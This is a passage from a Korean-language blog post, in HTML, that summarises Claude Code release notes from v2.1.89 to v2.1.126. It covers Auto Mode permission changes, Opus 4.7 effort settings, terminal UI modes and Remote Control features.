&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/resume&lt;/code&gt; 대형 세션 최대 &lt;b&gt;67%&lt;/b&gt; 개선, MCP startup 최적화, installer URL 변경&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.117~119&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;forked subagent, config persistence, vim visual mode, themes, plugin tag, prUrlTemplate, OTEL 확장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.120&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;Git Bash 없이 Windows PowerShell 사용, &lt;code&gt;claude ultrareview&lt;/code&gt; CLI, &lt;code&gt;${CLAUDE_EFFORT}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.121~123&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;MCP &lt;code&gt;alwaysLoad&lt;/code&gt;, plugin prune, /skills 검색, Bedrock service tier, PR URL resume 검색, OAuth 401 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.126&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;gateway /v1/models picker&lt;/b&gt;, &lt;code&gt;claude project purge&lt;/code&gt;, OAuth code paste login, PowerShell primary shell, 보안 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;버전 범위 주의&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;2026-05-04 기준 npm registry의 &lt;code&gt;latest&lt;/code&gt;와 &lt;code&gt;next&lt;/code&gt;는 &lt;code&gt;2.1.126&lt;/code&gt;이지만, &lt;code&gt;stable&lt;/code&gt; dist-tag는 &lt;code&gt;2.1.118&lt;/code&gt;이다. 따라서 이 글에서 말하는 &quot;최신&quot;은 &lt;b&gt;latest 채널 기준&lt;/b&gt;이며, 조직에서 안정 채널을 따르는 경우 실제 설치 버전이 다를 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. v2.1.88은 왜 조심해서 봐야 하나&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;v2.1.87 이후 바로 v2.1.88을 이어서 정리하고 싶지만, 이 버전은 글에 넣을 때 조심스러웠다. (단하나의 실수도 악플로 이어지기도 하니..) 현재 공식 CHANGELOG에는 v2.1.88 섹션이 없고, v2.1.88의 registry version endpoint와 tarball endpoint도 일반 설치 가능한 릴리스처럼 확인되지 않는다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;이 글의 처리 원칙&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;공식 CHANGELOG에 남아 있는 v2.1.89 이후 항목만 기능 분석 대상으로 삼는다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;v2.1.88은 &quot;공개 아티팩트 기준으로 일반 릴리스처럼 다루기 어렵다&quot; 정도로만 설명하고 넘어가도록 하려 한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. Auto Mode &amp;mdash; 자동 실행의 안전장치가 촘촘해지다&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2102&quot; data-origin-height=&quot;1162&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LQgeB/dJMcadhBzuF/9q6FIAF2Ej1kuTGCGGPjT0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LQgeB/dJMcadhBzuF/9q6FIAF2Ej1kuTGCGGPjT0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LQgeB/dJMcadhBzuF/9q6FIAF2Ej1kuTGCGGPjT0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLQgeB%2FdJMcadhBzuF%2F9q6FIAF2Ej1kuTGCGGPjT0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2102&quot; height=&quot;1162&quot; data-origin-width=&quot;2102&quot; data-origin-height=&quot;1162&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;v2.1.89 이후 Auto Mode의 방향은 &quot;더 많이 자동화&quot;만이 아니다. 오히려 핵심은 &lt;b&gt;자동 실행을 하되, 사용자가 명시한 경계를 더 잘 지키는 것&lt;/b&gt;에 가깝다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Auto Mode 변경&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.89&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Auto Mode에서 거부된 명령을 알림으로 보여주고, &lt;code&gt;/permissions&lt;/code&gt; Recent 탭에서 재시도 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.90&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;사용자가 &quot;push하지 마&quot;, &quot;X 전에는 Y 하지 마&quot;처럼 명시한 경계를 더 잘 존중&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.111&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Opus 4.7 사용 시 Max 구독자에게 Auto Mode 제공. 별도 &lt;code&gt;--enable-auto-mode&lt;/code&gt; 플래그 요구 제거&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.118&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;autoMode.allow&lt;/code&gt;, &lt;code&gt;autoMode.soft_deny&lt;/code&gt;, &lt;code&gt;autoMode.environment&lt;/code&gt;에 &lt;code&gt;&quot;$defaults&quot;&lt;/code&gt;를 포함해 기본 규칙과 사용자 규칙을 병합 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.120&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Auto Mode denial 메시지가 설정 문서로 연결되어, 왜 막혔는지 추적하기 쉬워짐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.126&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;권한 체크가 멈춰 보일 때 spinner가 빨간색으로 바뀌어 &quot;도구 실행 중&quot;과 &quot;권한 확인 정체&quot;를 구분&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;실전 팁&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto Mode를 켤 때는 &quot;하지 말아야 할 일&quot;을 프롬프트에 분명히 적는 것이 중요하다. v2.1.90 이후에는 이런 명시적 경계를 더 잘 반영하도록 수정되었지만, 애초에 경계가 모호하면 자동화가 과감하게 보일 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 4 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. Opus 4.7 + xhigh effort &amp;mdash; 모델 체급과 조절 장치&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2108&quot; data-origin-height=&quot;1158&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bsTQts/dJMcaakSgQW/RzkIeyM5ynkgkVdK6ti1Ck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bsTQts/dJMcaakSgQW/RzkIeyM5ynkgkVdK6ti1Ck/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bsTQts/dJMcaakSgQW/RzkIeyM5ynkgkVdK6ti1Ck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbsTQts%2FdJMcaakSgQW%2FRzkIeyM5ynkgkVdK6ti1Ck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2108&quot; height=&quot;1158&quot; data-origin-width=&quot;2108&quot; data-origin-height=&quot;1158&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이전 글에서 Opus 4.6과 1M 컨텍스트를 다뤘다면, 이번 구간의 모델 변화는 &lt;b&gt;Opus 4.7과 effort 제어&lt;/b&gt;이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;특히 v2.1.111은 모델 체감에 영향을 주는 변화가 많다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;모델 / effort 변경&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.94&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;API key, Bedrock, Vertex, Foundry, Team, Enterprise 사용자의 기본 effort가 &lt;b&gt;medium &amp;rarr; high&lt;/b&gt;로 변경&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.108&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;ENABLE_PROMPT_CACHING_1H&lt;/code&gt;, &lt;code&gt;FORCE_PROMPT_CACHING_5M&lt;/code&gt;로 prompt cache TTL 제어&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.111&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Claude Opus 4.7 xhigh&lt;/b&gt; 추가. &lt;code&gt;/effort&lt;/code&gt;, &lt;code&gt;--effort&lt;/code&gt;, 모델 피커에서 선택 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.111&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/effort&lt;/code&gt;를 인자 없이 실행하면 interactive slider로 열림&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.117&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Pro/Max 구독자의 Opus 4.6, Sonnet 4.6 기본 effort가 &lt;b&gt;high&lt;/b&gt;로 변경&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.122&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Bedrock application inference profile ARN에서 effort 옵션 표시 및 전달 문제 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.126&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;커스텀 Anthropic-compatible gateway 사용 시 &lt;code&gt;/v1/models&lt;/code&gt;에서 모델 목록을 읽어 &lt;code&gt;/model&lt;/code&gt; 피커에 표시&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# v2.1.111 이후: effort를 더 명시적으로 조절
/effort          # interactive slider
/effort xhigh    # Opus 4.7에서 xhigh 사용

# CLI 실행 시 effort 지정
claude --effort high&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;주의&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;xhigh&lt;/code&gt;는 모든 모델에서 같은 의미로 동작하는 범용 옵션이 아니다. 공식 CHANGELOG는 Opus 4.7 맥락에서 설명하며, 다른 모델은 &lt;code&gt;high&lt;/code&gt;로 fallback된다고 적고 있다. 팀 설정이나 provider gateway를 쓰는 경우에는 실제 모델 지원 여부를 먼저 확인해야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. No Flicker / TUI / Focus &amp;mdash; 터미널 UI의 큰 방향 전환&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1922&quot; data-origin-height=&quot;1058&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cNBzNc/dJMcacwfPys/dDPmYDhBapiZZR3vXt0tLk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cNBzNc/dJMcacwfPys/dDPmYDhBapiZZR3vXt0tLk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cNBzNc/dJMcacwfPys/dDPmYDhBapiZZR3vXt0tLk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcNBzNc%2FdJMcacwfPys%2FdDPmYDhBapiZZR3vXt0tLk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1922&quot; height=&quot;1058&quot; data-origin-width=&quot;1922&quot; data-origin-height=&quot;1058&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;v2.1.89부터 Claude Code의 터미널 UI는 단순 렌더링 개선을 넘어, &lt;b&gt;긴 세션을 읽고 조작하는 방식&lt;/b&gt;을 바꾸기 시작했다. 핵심 키워드는 NO_FLICKER, TUI, Focus다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;기능&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;NO_FLICKER&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.89&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;CLAUDE_CODE_NO_FLICKER=1&lt;/code&gt;로 alt-screen 기반 flicker-free 렌더링 opt-in&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Focus view&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.97&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;NO_FLICKER 모드에서 prompt, one-line tool summary, final response 중심으로 보는 집중 뷰&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;/tui&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.110&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;동일 대화에서 &lt;code&gt;/tui fullscreen&lt;/code&gt;으로 fullscreen 렌더링 전환&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;/focus&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.110&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;Ctrl+O&lt;/code&gt;는 normal/verbose transcript 토글로 정리되고, focus는 별도 &lt;code&gt;/focus&lt;/code&gt;로 분리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Dialog scroll&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.121&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;터미널보다 큰 dialog를 방향키, PgUp/PgDn, home/end, mouse wheel로 스크롤 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;실전 팁&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;긴 세션에서 화면이 자주 깨지거나 스크롤이 흔들린다면, 먼저 &lt;code&gt;/tui fullscreen&lt;/code&gt;과 &lt;code&gt;/focus&lt;/code&gt; 조합을 확인해볼 만하다. 단순히 예쁜 UI가 아니라, 도구 호출이 많은 세션에서 읽어야 할 정보량을 줄이는 방향이다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. Remote Control &amp;amp; Cloud &amp;mdash; 로컬 세션이 웹과 이어지다&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2070&quot; data-origin-height=&quot;1116&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cs1e16/dJMcabKTTVs/pDimInzmJAk51boVWdcYNK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cs1e16/dJMcabKTTVs/pDimInzmJAk51boVWdcYNK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cs1e16/dJMcabKTTVs/pDimInzmJAk51boVWdcYNK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcs1e16%2FdJMcabKTTVs%2FpDimInzmJAk51boVWdcYNK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2070&quot; height=&quot;1116&quot; data-origin-width=&quot;2070&quot; data-origin-height=&quot;1116&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이전 구간에서 VSCode Remote Control이 등장했다면, 이번 구간에서는 Remote Control이 &lt;b&gt;실제 운영 가능한 보조 인터페이스&lt;/b&gt;에 가까워졌다. 모바일/웹 클라이언트에서 사용할 수 있는 명령이 늘고, PR&amp;middot;세션&amp;middot;클라우드 환경과의 연결도 더 촘촘해졌다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Remote / Cloud 변경&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.92&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Remote Control 세션 이름 기본 prefix가 hostname 기반으로 변경. &lt;code&gt;--remote-control-session-name-prefix&lt;/code&gt;로 변경 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.101&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/ultraplan&lt;/code&gt; 등 remote-session 기능이 기본 cloud environment를 자동 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.110&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/context&lt;/code&gt;, &lt;code&gt;/exit&lt;/code&gt;, &lt;code&gt;/reload-plugins&lt;/code&gt;가 Remote Control 클라이언트에서 동작&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.110&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Remote Control과 push 설정이 켜져 있으면 Claude가 모바일 push notification을 보낼 수 있음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.113&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/extra-usage&lt;/code&gt;가 Remote Control 클라이언트에서도 동작. 파일 autocomplete suggestion도 조회 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.119&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;prUrlTemplate&lt;/code&gt; 설정으로 footer PR badge를 GitHub 외 custom review URL로 연결 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.122&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;PR URL을 &lt;code&gt;/resume&lt;/code&gt; 검색창에 붙여넣으면 해당 PR을 만든 세션을 찾음 (GitHub, GitLab, Bitbucket 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;흐름 변화&lt;/b&gt;&lt;br /&gt;
